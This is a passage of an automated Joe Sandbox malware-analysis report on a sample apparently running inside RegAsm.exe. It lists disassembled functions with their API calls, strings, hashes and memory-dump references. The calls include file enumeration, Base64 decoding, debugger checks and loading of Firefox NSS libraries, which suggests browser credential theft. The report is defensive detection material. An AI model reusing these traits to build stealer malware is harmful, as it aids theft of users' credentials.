Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 75e15ae0cdc5bd11ea3164567e07e25f29e8f588a92aa6ab9e0e53c38801dc64
Instruction ID: 3007dda49b16e6c87372febce5c45cbfe381bf5ef72a3521d52464c3f4e34f22
Opcode Fuzzy Hash: 75e15ae0cdc5bd11ea3164567e07e25f29e8f588a92aa6ab9e0e53c38801dc64
Instruction Fuzzy Hash: 41E13571912118AADB14FB61CD51EEE7338AF54314F4045EEB40A62092EF386FDACF69

Function 6C448FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C448FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C4490DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C449118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C44915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C4491C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C449209

Strings

3333, xrefs: 6C44925E
UUUU, xrefs: 6C449255

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: d931250d5a2974d2e445557f572b55a2ad22ec8ee5d627cd77e4261109809b7e
Instruction ID: 4f88521846249d21913f61eb2b4eb57f0ef783e69ab9d03a77ef25695250f75a
Opcode Fuzzy Hash: d931250d5a2974d2e445557f572b55a2ad22ec8ee5d627cd77e4261109809b7e
Instruction Fuzzy Hash: 7FA19E72E001159BEB08CB69CD81F9EB7B9FB48325F198129D905A7781E736EC01CBD0

Function 6C2A2C10 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C2A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C2A2C61

Part of subcall function 6C254DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C254E5A
Part of subcall function 6C254DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C254E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C2A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C2A2E2D

Part of subcall function 6C2681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C2681DE

Strings

expected a Time entry, xrefs: 6C2A2E36
(root), xrefs: 6C2A354F
ProfileBuffer parse error: %s, xrefs: 6C2A2E3B
)TO/, xrefs: 6C2A2C26, 6C2A2D08

Memory Dump Source

Source File: 00000002.00000002.2275453180.000000006C251000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C250000, based on PE: true

Associated: 00000002.00000002.2275438173.000000006C250000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275826475.000000006C2CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275886594.000000006C2DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275906200.000000006C2E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c250000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$)TO/$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-3724749436
Opcode ID: 9c8b0d13508ebe6cc76d187c01dd34d7b1cb3ddd4eaf62d185562a4d7d3fd388
Instruction ID: eb79f9959f3561ea7d0cada4b9fac6dc194ec914c137f90fb599a3437eb1233e
Opcode Fuzzy Hash: 9c8b0d13508ebe6cc76d187c01dd34d7b1cb3ddd4eaf62d185562a4d7d3fd388
Instruction Fuzzy Hash: 0291D0B06087498FC724CF69C48469FF7E1AF89358F104A1DED998B791DB30E94ACB52

Function 6C488D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C4D14E4,6C43CC70), ref: 6C488D47
PR_GetCurrentThread.NSS3 ref: 6C488D98

Part of subcall function 6C360F00: PR_GetPageSize.NSS3(6C360936,FFFFE8AE,?,6C2F16B7,00000000,?,6C360936,00000000,?,6C2F204A), ref: 6C360F1B
Part of subcall function 6C360F00: PR_NewLogModule.NSS3(clock,6C360936,FFFFE8AE,?,6C2F16B7,00000000,?,6C360936,00000000,?,6C2F204A), ref: 6C360F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C488E7B
htons.WSOCK32(?), ref: 6C488EDB
PR_GetCurrentThread.NSS3 ref: 6C488F99
PR_GetCurrentThread.NSS3 ref: 6C48910A

Strings

%u.%u.%u.%u, xrefs: 6C488E74

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: e25f73580ffd02eae4c9f3fd31b9cd9054ce5d8d4d42afb02e88629b3dd667ae
Instruction ID: af1f4c2aa858a4b4594ae80e63bfd189494845df6bd34179452af879f6b39d9d
Opcode Fuzzy Hash: e25f73580ffd02eae4c9f3fd31b9cd9054ce5d8d4d42afb02e88629b3dd667ae
Instruction Fuzzy Hash: 9E02AB3190B6618FEB19CF19C468F6ABBB2EF92304F19825ED8915FB91C332D945C790

Function 0040DE10 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00420C2E), ref: 0040DE5E
StrCmpCA.SHLWAPI(?,004214C8), ref: 0040DEAE
StrCmpCA.SHLWAPI(?,004214CC), ref: 0040DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E3E0
FindClose.KERNEL32(000000FF), ref: 0040E3F2

Strings

4@, xrefs: 0040DE32, 0040E400, 0040DEF3, 0040DE75, 0040DEF6
\*.*, xrefs: 0040DE26

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: 4@$\*.*
API String ID: 2325840235-1993203227
Opcode ID: c58a056e60fc9d29371130ed8fc87327b631cf5620cd3b032d2e6af9d20713bf
Instruction ID: cfdc3591377451865113f0b5848cbea5bd15bf7eccde512516250cd90852f391
Opcode Fuzzy Hash: c58a056e60fc9d29371130ed8fc87327b631cf5620cd3b032d2e6af9d20713bf
Instruction Fuzzy Hash: 5CF1D0718111189ADB15FB61DD95EEE7338AF14314F8045EFA00A62091EF386BDACF69

Function 6C4068E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6C4068FC
PR_EnterMonitor.NSS3 ref: 6C406924

Part of subcall function 6C439090: TlsGetValue.KERNEL32 ref: 6C4390AB
Part of subcall function 6C439090: TlsGetValue.KERNEL32 ref: 6C4390C9
Part of subcall function 6C439090: EnterCriticalSection.KERNEL32 ref: 6C4390E5
Part of subcall function 6C439090: TlsGetValue.KERNEL32 ref: 6C439116
Part of subcall function 6C439090: LeaveCriticalSection.KERNEL32 ref: 6C43913F

Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607AD
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607CD
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607D6
Part of subcall function 6C3607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C2F204A), ref: 6C3607E4
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,6C2F204A), ref: 6C360864
Part of subcall function 6C3607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C360880
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,6C2F204A), ref: 6C3608CB
Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(?,?,6C2F204A), ref: 6C3608D7
Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(?,?,6C2F204A), ref: 6C3608FB

PR_EnterMonitor.NSS3 ref: 6C40693E
TlsGetValue.KERNEL32 ref: 6C406977
TlsGetValue.KERNEL32 ref: 6C4069B8
PR_ExitMonitor.NSS3 ref: 6C406B1E
PR_ExitMonitor.NSS3 ref: 6C406B39
TlsGetValue.KERNEL32 ref: 6C406B62

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 2dd302ab4e0cdd1bc3693e9dfb4c0e5bdd25767c6cd53387da1ac5c8521515b6
Instruction ID: 65424cc826f5867bbe2e002001eef1323019e7fa219292cdbdabf99379053dad
Opcode Fuzzy Hash: 2dd302ab4e0cdd1bc3693e9dfb4c0e5bdd25767c6cd53387da1ac5c8521515b6
Instruction Fuzzy Hash: 11914DB4798520CBEB50DF2DC480D9D7FB2EB87304B618269DC469BA19C775D9C2CB82

Function 6C3909A0 Relevance: 11.0, APIs: 7, Instructions: 489memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3906A0: TlsGetValue.KERNEL32 ref: 6C3906C2
Part of subcall function 6C3906A0: EnterCriticalSection.KERNEL32(?), ref: 6C3906D6
Part of subcall function 6C3906A0: PR_Unlock.NSS3 ref: 6C3906EB

memcmp.VCRUNTIME140(00000000,6C379B8A,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6C379B8A,00000000,k-7l), ref: 6C3909D9
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6C379B8A,00000000,k-7l), ref: 6C3909F2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C379B8A,00000000,k-7l), ref: 6C390A1C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C379B8A,00000000,k-7l), ref: 6C390A30
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C379B8A,00000000,k-7l), ref: 6C390A48

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Alloc_ArenaUtilmemcmp
String ID:
API String ID: 115324291-0
Opcode ID: 2301a1ce6feb5f579278022467adb792161e8ea3a0b15595fc5105ed38f6aa95
Instruction ID: 0545cbc2e97891ee5414c9a585f868b79e69b8f3fa7d3b604b210ba29fb75d80
Opcode Fuzzy Hash: 2301a1ce6feb5f579278022467adb792161e8ea3a0b15595fc5105ed38f6aa95
Instruction Fuzzy Hash: DF02E0B2E006059FEB009F65DD41BAB77B9EF48318F140128E945ABB51F732E944CFA2

Function 00416920 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(0042110C,?,?,00416B11,00000000,?,0118AA18,?,0042110C,?,00000000,?), ref: 0041696C
sscanf.NTDLL ref: 00416999
SystemTimeToFileTime.KERNEL32(0042110C,00000000,?,?,?,?,?,?,?,?,?,?,?,0118AA18,?,0042110C), ref: 004169B2
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,0118AA18,?,0042110C), ref: 004169C0
ExitProcess.KERNEL32 ref: 004169DA

Strings

B, xrefs: 004169C9

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID: B
API String ID: 2533653975-2248957098
Opcode ID: 30d4e03da22d085627275eeb363fd096e49a15e400c421c3cd1f95f2829e4b82
Instruction ID: bc3f4e88d18d0d52d27c53656958a280d832632e1993de176dacc6bdaed8f038
Opcode Fuzzy Hash: 30d4e03da22d085627275eeb363fd096e49a15e400c421c3cd1f95f2829e4b82
Instruction Fuzzy Hash: A421BAB5D14208AFDF04EFE4D9459EEB7B6FF48300F04852EE506A3250EB349645CB69

Function 6C2C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C2C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C2C925C

Strings

~q%l, xrefs: 6C2C56C7, 6C2C5740, 6C2C5703, 6C2C9459, 6C2C9269, 6C2C921F, 6C2C948F

Memory Dump Source

Source File: 00000002.00000002.2275453180.000000006C251000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C250000, based on PE: true

Associated: 00000002.00000002.2275438173.000000006C250000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275826475.000000006C2CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275886594.000000006C2DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275906200.000000006C2E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c250000_RegAsm.jbxd

Similarity

API ID: memset
String ID: ~q%l
API String ID: 2221118986-1398863680
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 049157bd81f2e96cbc5fa9d357f15907eed45fd7768e6252af4d5e447e752a50
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 73B1C572F0010A8BCB24CF58CC81AA9B7B6AF94314F14437AC949EB785D774A999CB91

Function 00409AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

Strings

N@, xrefs: 00409AD4, 00409AE1, 00409AF9, 00409B18, 00409AE4, 00409B1B

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N@
API String ID: 4291131564-4229412743
Opcode ID: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction ID: b446a55777cc1d1e4698a5b325ac1ac72e8f4b69ff9cac50ab15cfe2fa8c9284
Opcode Fuzzy Hash: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction Fuzzy Hash: 4811A4B4240208BFEB10CFA4DC95FAA77B5FB89714F208059FA159B3D0C776A901CB54

Function 0041B33A Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041BBA2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041BBB7
UnhandledExceptionFilter.KERNEL32(0041F2A8), ref: 0041BBC2
GetCurrentProcess.KERNEL32(C0000409), ref: 0041BBDE
TerminateProcess.KERNEL32(00000000), ref: 0041BBE5

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction ID: 2759986af63cf1bc905e0f8428f5e2b998159022a12c47e0d709fe691c65c3be
Opcode Fuzzy Hash: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction Fuzzy Hash: E921A3BC9002059FDB10DF69FD89A963BE4FB0A314F50403AE90A87264DBB45981EF4D

